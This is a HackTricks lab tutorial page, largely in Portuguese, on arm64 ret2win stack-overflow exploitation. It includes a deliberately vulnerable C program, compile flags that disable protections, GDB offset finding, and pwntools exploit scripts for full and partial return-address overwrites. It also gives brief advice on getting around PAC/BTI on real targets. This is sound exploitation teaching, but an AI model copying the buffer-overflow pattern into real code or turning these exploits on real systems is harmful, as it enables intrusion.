Ret2win - arm64
Reading time: 8 minutes
tip
Aprenda e pratique Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: 
HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure: 
HackTricks Training Azure Red Team Expert (AzRTE)
Supporte o HackTricks
- Confira os planos de assinatura!
 - Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
 - Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.
 
Encontre uma introdução ao arm64 em:
Code
#include <stdio.h>
#include <unistd.h>
void win() {
printf("Congratulations!\n");
}
void vulnerable_function() {
char buffer[64];
read(STDIN_FILENO, buffer, 256); // <-- bof vulnerability
}
int main() {
vulnerable_function();
return 0;
}
Compilar sem pie e canary:
clang -o ret2win ret2win.c -fno-stack-protector -Wno-format-security -no-pie -mbranch-protection=none
- A flag extra 
-mbranch-protection=nonedesativa o AArch64 Branch Protection (PAC/BTI). Se sua toolchain por padrão habilita PAC ou BTI, isso mantém o lab reproduzível. Para verificar se um binário compilado usa PAC/BTI você pode: - Procure por AArch64 GNU properties:
 readelf --notes -W ret2win | grep -E 'AARCH64_FEATURE_1_(BTI|PAC)'- Inspecione prólogos/epílogos por 
paciasp/autiasp(PAC) ou por landing padsbti c(BTI): objdump -d ret2win | head -n 40
Fatos rápidos sobre a convenção de chamada AArch64
- O registrador de link é 
x30(a.k.a.lr), e funções tipicamente salvamx29/x30comstp x29, x30, [sp, #-16]!e os restauram comldp x29, x30, [sp], #16; ret. - Isso significa que o endereço de retorno salvo vive em 
sp+8relativo à base do frame. Com umchar buffer[64]colocado abaixo, a distância usual para sobrescrever ox30salvo é 64 (buffer) + 8 (x29 salvo) = 72 bytes — exatamente o que veremos abaixo. - O stack pointer deve permanecer alinhado a 16 bytes nas fronteiras de função. Se você construir ROP chains mais tarde para cenários mais complexos, mantenha o alinhamento do SP ou pode travar nos epílogos das funções.
 
Encontrando o offset
Opção pattern
Este exemplo foi criado usando GEF:
Inicie o gdb com gef, crie um pattern e use-o:
gdb -q ./ret2win
pattern create 200
run
.png)
arm64 tentará retornar para o endereço no registrador x30 (que foi comprometido), podemos usar isso para encontrar o offset do padrão:
pattern search $x30
.png)
The offset is 72 (9x48).
Opção de Stack offset
Comece obtendo o endereço da stack onde o registrador pc está armazenado:
gdb -q ./ret2win
b *vulnerable_function + 0xc
run
info frame
.png)
Agora defina um breakpoint depois do read() e continue até que o read() seja executado e defina um padrão como 13371337:
b *vulnerable_function+28
c
.png)
Encontre onde esse padrão é armazenado na memória:
.png)
Então: 0xfffffffff148 - 0xfffffffff100 = 0x48 = 72
.png)
Sem PIE
Regular
Obtenha o endereço da função win:
objdump -d ret2win | grep win
ret2win:     file format elf64-littleaarch64
00000000004006c4 <win>:
Exploit:
from pwn import *
# Configuration
binary_name = './ret2win'
p = process(binary_name)
# Optional but nice for AArch64
context.arch = 'aarch64'
# Prepare the payload
offset = 72
ret2win_addr = p64(0x00000000004006c4)
payload = b'A' * offset + ret2win_addr
# Send the payload
p.send(payload)
# Check response
print(p.recvline())
p.close()
.png)
Off-by-1
Na verdade, isto vai ser mais como um off-by-2 no PC armazenado na stack. Em vez de sobrescrever todo o return address, vamos sobrescrever apenas os últimos 2 bytes com 0x06c4.
from pwn import *
# Configuration
binary_name = './ret2win'
p = process(binary_name)
# Prepare the payload
offset = 72
ret2win_addr = p16(0x06c4)
payload = b'A' * offset + ret2win_addr
# Send the payload
p.send(payload)
# Check response
print(p.recvline())
p.close()
.png)
Você pode encontrar outro exemplo de off-by-one em ARM64 em https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/, que é um off-by-one real em uma vulnerabilidade fictícia.
Com PIE
tip
Compile o binário sem o argumento -no-pie
Off-by-2
Sem um leak não sabemos o endereço exato da win function, mas podemos conhecer o offset da função dentro do binário e, sabendo que o return address que estamos sobrescrevendo já aponta para um endereço próximo, é possível obter o leak do offset para a win function (0x7d4) neste caso e simplesmente usar esse offset:
.png)
from pwn import *
# Configuration
binary_name = './ret2win'
p = process(binary_name)
# Prepare the payload
offset = 72
ret2win_addr = p16(0x07d4)
payload = b'A' * offset + ret2win_addr
# Send the payload
p.send(payload)
# Check response
print(p.recvline())
p.close()
Notas sobre hardening moderno AArch64 (PAC/BTI) e ret2win
- Se o binário for compilado com AArch64 Branch Protection, você pode ver 
paciasp/autiaspoubti cemitidos em prólogos/epílogos de função. Nesse caso: - Retornar para um endereço que não seja um BTI landing pad válido pode provocar um 
SIGILL. Prefira direcionar para a entrada exata da função que contémbti c. - If PAC is enabled for returns, naive return‑address overwrites may fail because the epilogue authenticates 
x30. For learning scenarios, rebuild with-mbranch-protection=none(shown above). When attacking real targets, prefer non‑return hijacks (e.g., function pointer overwrites) or build ROP that never executes anautiasp/retpair that authenticates your forged LR. - Para verificar os recursos rapidamente:
 readelf --notes -W ./ret2winand look forAARCH64_FEATURE_1_BTI/AARCH64_FEATURE_1_PACnotes.objdump -d ./ret2win | head -n 40and look forbti c,paciasp,autiasp.
Running on non‑ARM64 hosts (qemu‑user quick tip)
If you are on x86_64 but want to practice AArch64:
# Install qemu-user and AArch64 libs (Debian/Ubuntu)
sudo apt-get install qemu-user qemu-user-static libc6-arm64-cross
# Run the binary with the AArch64 loader environment
qemu-aarch64 -L /usr/aarch64-linux-gnu ./ret2win
# Debug with GDB (qemu-user gdbstub)
qemu-aarch64 -g 1234 -L /usr/aarch64-linux-gnu ./ret2win &
# In another terminal
gdb-multiarch ./ret2win -ex 'target remote :1234'
Páginas relacionadas do HackTricks
Ret2syscall - ARM64
Referências
- Habilitando PAC e BTI no AArch64 para Linux (Arm Community, Nov 2024). https://community.arm.com/arm-community-blogs/b/operating-systems-blog/posts/enabling-pac-and-bti-on-aarch64-for-linux
 - Padrão de Chamada de Procedimento para a Arquitetura Arm de 64 bits (AAPCS64). https://github.com/ARM-software/abi-aa/blob/main/aapcs64/aapcs64.rst
 
tip
Aprenda e pratique Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: 
HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure: 
HackTricks Training Azure Red Team Expert (AzRTE)
Supporte o HackTricks
- Confira os planos de assinatura!
 - Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
 - Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.
 
HackTricks